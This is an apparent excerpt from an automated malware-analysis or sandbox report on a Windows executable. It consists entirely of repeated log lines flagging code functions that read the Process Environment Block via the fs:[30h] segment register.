Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B273 mov eax, dword ptr fs:[00000030h]	8_2_3290B273
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A327E mov eax, dword ptr fs:[00000030h]	8_2_329A327E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A327E mov eax, dword ptr fs:[00000030h]	8_2_329A327E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A327E mov eax, dword ptr fs:[00000030h]	8_2_329A327E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A327E mov eax, dword ptr fs:[00000030h]	8_2_329A327E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A327E mov eax, dword ptr fs:[00000030h]	8_2_329A327E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A327E mov eax, dword ptr fs:[00000030h]	8_2_329A327E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CD270 mov eax, dword ptr fs:[00000030h]	8_2_329CD270
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293A390 mov eax, dword ptr fs:[00000030h]	8_2_3293A390
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293A390 mov eax, dword ptr fs:[00000030h]	8_2_3293A390
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293A390 mov eax, dword ptr fs:[00000030h]	8_2_3293A390
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32911380 mov eax, dword ptr fs:[00000030h]	8_2_32911380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32911380 mov eax, dword ptr fs:[00000030h]	8_2_32911380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32911380 mov eax, dword ptr fs:[00000030h]	8_2_32911380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32911380 mov eax, dword ptr fs:[00000030h]	8_2_32911380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32911380 mov eax, dword ptr fs:[00000030h]	8_2_32911380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F380 mov eax, dword ptr fs:[00000030h]	8_2_3292F380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F380 mov eax, dword ptr fs:[00000030h]	8_2_3292F380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F380 mov eax, dword ptr fs:[00000030h]	8_2_3292F380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F380 mov eax, dword ptr fs:[00000030h]	8_2_3292F380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F380 mov eax, dword ptr fs:[00000030h]	8_2_3292F380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F380 mov eax, dword ptr fs:[00000030h]	8_2_3292F380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF38A mov eax, dword ptr fs:[00000030h]	8_2_329CF38A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298C3B0 mov eax, dword ptr fs:[00000030h]	8_2_3298C3B0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329193A6 mov eax, dword ptr fs:[00000030h]	8_2_329193A6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329193A6 mov eax, dword ptr fs:[00000030h]	8_2_329193A6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329433D0 mov eax, dword ptr fs:[00000030h]	8_2_329433D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329443D0 mov ecx, dword ptr fs:[00000030h]	8_2_329443D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329943D5 mov eax, dword ptr fs:[00000030h]	8_2_329943D5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290E3C0 mov eax, dword ptr fs:[00000030h]	8_2_3290E3C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290E3C0 mov eax, dword ptr fs:[00000030h]	8_2_3290E3C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290E3C0 mov eax, dword ptr fs:[00000030h]	8_2_3290E3C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290C3C7 mov eax, dword ptr fs:[00000030h]	8_2_3290C3C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329163CB mov eax, dword ptr fs:[00000030h]	8_2_329163CB
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292E310 mov eax, dword ptr fs:[00000030h]	8_2_3292E310
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292E310 mov eax, dword ptr fs:[00000030h]	8_2_3292E310
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292E310 mov eax, dword ptr fs:[00000030h]	8_2_3292E310
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32909303 mov eax, dword ptr fs:[00000030h]	8_2_32909303
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32909303 mov eax, dword ptr fs:[00000030h]	8_2_32909303
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF30A mov eax, dword ptr fs:[00000030h]	8_2_329CF30A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E3336 mov eax, dword ptr fs:[00000030h]	8_2_329E3336
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290E328 mov eax, dword ptr fs:[00000030h]	8_2_3290E328
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290E328 mov eax, dword ptr fs:[00000030h]	8_2_3290E328
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290E328 mov eax, dword ptr fs:[00000030h]	8_2_3290E328
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293332D mov eax, dword ptr fs:[00000030h]	8_2_3293332D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32908347 mov eax, dword ptr fs:[00000030h]	8_2_32908347
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32908347 mov eax, dword ptr fs:[00000030h]	8_2_32908347
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32908347 mov eax, dword ptr fs:[00000030h]	8_2_32908347
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32990371 mov eax, dword ptr fs:[00000030h]	8_2_32990371
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32990371 mov eax, dword ptr fs:[00000030h]	8_2_32990371
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293237A mov eax, dword ptr fs:[00000030h]	8_2_3293237A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E372 mov eax, dword ptr fs:[00000030h]	8_2_3298E372
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E372 mov eax, dword ptr fs:[00000030h]	8_2_3298E372
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E372 mov eax, dword ptr fs:[00000030h]	8_2_3298E372
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E372 mov eax, dword ptr fs:[00000030h]	8_2_3298E372
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B360 mov eax, dword ptr fs:[00000030h]	8_2_3291B360
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B360 mov eax, dword ptr fs:[00000030h]	8_2_3291B360
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B360 mov eax, dword ptr fs:[00000030h]	8_2_3291B360
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B360 mov eax, dword ptr fs:[00000030h]	8_2_3291B360
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B360 mov eax, dword ptr fs:[00000030h]	8_2_3291B360
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B360 mov eax, dword ptr fs:[00000030h]	8_2_3291B360
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E363 mov eax, dword ptr fs:[00000030h]	8_2_3294E363
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E363 mov eax, dword ptr fs:[00000030h]	8_2_3294E363
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E363 mov eax, dword ptr fs:[00000030h]	8_2_3294E363
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E363 mov eax, dword ptr fs:[00000030h]	8_2_3294E363
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E363 mov eax, dword ptr fs:[00000030h]	8_2_3294E363
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E363 mov eax, dword ptr fs:[00000030h]	8_2_3294E363
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E363 mov eax, dword ptr fs:[00000030h]	8_2_3294E363
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E363 mov eax, dword ptr fs:[00000030h]	8_2_3294E363
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290C090 mov eax, dword ptr fs:[00000030h]	8_2_3290C090
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290A093 mov ecx, dword ptr fs:[00000030h]	8_2_3290A093
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E4080 mov eax, dword ptr fs:[00000030h]	8_2_329E4080
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E4080 mov eax, dword ptr fs:[00000030h]	8_2_329E4080
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E4080 mov eax, dword ptr fs:[00000030h]	8_2_329E4080
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E4080 mov eax, dword ptr fs:[00000030h]	8_2_329E4080
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E4080 mov eax, dword ptr fs:[00000030h]	8_2_329E4080
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E4080 mov eax, dword ptr fs:[00000030h]	8_2_329E4080
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E4080 mov eax, dword ptr fs:[00000030h]	8_2_329E4080
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E50B7 mov eax, dword ptr fs:[00000030h]	8_2_329E50B7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329500A5 mov eax, dword ptr fs:[00000030h]	8_2_329500A5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CB0AF mov eax, dword ptr fs:[00000030h]	8_2_329CB0AF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF0A5 mov eax, dword ptr fs:[00000030h]	8_2_329BF0A5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF0A5 mov eax, dword ptr fs:[00000030h]	8_2_329BF0A5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF0A5 mov eax, dword ptr fs:[00000030h]	8_2_329BF0A5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF0A5 mov eax, dword ptr fs:[00000030h]	8_2_329BF0A5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF0A5 mov eax, dword ptr fs:[00000030h]	8_2_329BF0A5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF0A5 mov eax, dword ptr fs:[00000030h]	8_2_329BF0A5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF0A5 mov eax, dword ptr fs:[00000030h]	8_2_329BF0A5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292B0D0 mov eax, dword ptr fs:[00000030h]	8_2_3292B0D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B0D6 mov eax, dword ptr fs:[00000030h]	8_2_3290B0D6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B0D6 mov eax, dword ptr fs:[00000030h]	8_2_3290B0D6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B0D6 mov eax, dword ptr fs:[00000030h]	8_2_3290B0D6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B0D6 mov eax, dword ptr fs:[00000030h]	8_2_3290B0D6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294D0F0 mov eax, dword ptr fs:[00000030h]	8_2_3294D0F0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294D0F0 mov ecx, dword ptr fs:[00000030h]	8_2_3294D0F0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290C0F6 mov eax, dword ptr fs:[00000030h]	8_2_3290C0F6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329090F8 mov eax, dword ptr fs:[00000030h]	8_2_329090F8
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329090F8 mov eax, dword ptr fs:[00000030h]	8_2_329090F8
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329090F8 mov eax, dword ptr fs:[00000030h]	8_2_329090F8
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329090F8 mov eax, dword ptr fs:[00000030h]	8_2_329090F8
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32935004 mov eax, dword ptr fs:[00000030h]	8_2_32935004
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32935004 mov ecx, dword ptr fs:[00000030h]	8_2_32935004
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32918009 mov eax, dword ptr fs:[00000030h]	8_2_32918009
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290D02D mov eax, dword ptr fs:[00000030h]	8_2_3290D02D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32911051 mov eax, dword ptr fs:[00000030h]	8_2_32911051
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32911051 mov eax, dword ptr fs:[00000030h]	8_2_32911051
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E505B mov eax, dword ptr fs:[00000030h]	8_2_329E505B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32940044 mov eax, dword ptr fs:[00000030h]	8_2_32940044
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32917072 mov eax, dword ptr fs:[00000030h]	8_2_32917072
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32916074 mov eax, dword ptr fs:[00000030h]	8_2_32916074
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32916074 mov eax, dword ptr fs:[00000030h]	8_2_32916074
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329B9060 mov eax, dword ptr fs:[00000030h]	8_2_329B9060
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32951190 mov eax, dword ptr fs:[00000030h]	8_2_32951190
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32951190 mov eax, dword ptr fs:[00000030h]	8_2_32951190
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32939194 mov eax, dword ptr fs:[00000030h]	8_2_32939194
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32914180 mov eax, dword ptr fs:[00000030h]	8_2_32914180
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32914180 mov eax, dword ptr fs:[00000030h]	8_2_32914180
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32914180 mov eax, dword ptr fs:[00000030h]	8_2_32914180
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E51B6 mov eax, dword ptr fs:[00000030h]	8_2_329E51B6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329431BE mov eax, dword ptr fs:[00000030h]	8_2_329431BE
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329431BE mov eax, dword ptr fs:[00000030h]	8_2_329431BE
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329441BB mov ecx, dword ptr fs:[00000030h]	8_2_329441BB
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329441BB mov eax, dword ptr fs:[00000030h]	8_2_329441BB
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329441BB mov eax, dword ptr fs:[00000030h]	8_2_329441BB
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E1A4 mov eax, dword ptr fs:[00000030h]	8_2_3294E1A4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E1A4 mov eax, dword ptr fs:[00000030h]	8_2_3294E1A4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329201C0 mov eax, dword ptr fs:[00000030h]	8_2_329201C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329201C0 mov eax, dword ptr fs:[00000030h]	8_2_329201C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329251C0 mov eax, dword ptr fs:[00000030h]	8_2_329251C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329251C0 mov eax, dword ptr fs:[00000030h]	8_2_329251C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329251C0 mov eax, dword ptr fs:[00000030h]	8_2_329251C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329251C0 mov eax, dword ptr fs:[00000030h]	8_2_329251C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329091F0 mov eax, dword ptr fs:[00000030h]	8_2_329091F0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329091F0 mov eax, dword ptr fs:[00000030h]	8_2_329091F0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329201F1 mov eax, dword ptr fs:[00000030h]	8_2_329201F1
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329201F1 mov eax, dword ptr fs:[00000030h]	8_2_329201F1
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329201F1 mov eax, dword ptr fs:[00000030h]	8_2_329201F1
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F1F0 mov eax, dword ptr fs:[00000030h]	8_2_3293F1F0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F1F0 mov eax, dword ptr fs:[00000030h]	8_2_3293F1F0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3291A1E3
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3291A1E3
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3291A1E3
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3291A1E3
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291A1E3 mov eax, dword ptr fs:[00000030h]	8_2_3291A1E3
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D81EE mov eax, dword ptr fs:[00000030h]	8_2_329D81EE
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D81EE mov eax, dword ptr fs:[00000030h]	8_2_329D81EE
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3293B1E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3293B1E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3293B1E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3293B1E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3293B1E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3293B1E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293B1E0 mov eax, dword ptr fs:[00000030h]	8_2_3293B1E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329191E5 mov eax, dword ptr fs:[00000030h]	8_2_329191E5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329191E5 mov eax, dword ptr fs:[00000030h]	8_2_329191E5
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329081EB mov eax, dword ptr fs:[00000030h]	8_2_329081EB
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113 mov eax, dword ptr fs:[00000030h]	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32940118 mov eax, dword ptr fs:[00000030h]	8_2_32940118
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293510F mov eax, dword ptr fs:[00000030h]	8_2_3293510F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291510D mov eax, dword ptr fs:[00000030h]	8_2_3291510D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF13E mov eax, dword ptr fs:[00000030h]	8_2_329CF13E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32947128 mov eax, dword ptr fs:[00000030h]	8_2_32947128
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32947128 mov eax, dword ptr fs:[00000030h]	8_2_32947128
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E3157 mov eax, dword ptr fs:[00000030h]	8_2_329E3157
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E3157 mov eax, dword ptr fs:[00000030h]	8_2_329E3157
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E3157 mov eax, dword ptr fs:[00000030h]	8_2_329E3157
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294415F mov eax, dword ptr fs:[00000030h]	8_2_3294415F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A314A mov eax, dword ptr fs:[00000030h]	8_2_329A314A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A314A mov eax, dword ptr fs:[00000030h]	8_2_329A314A
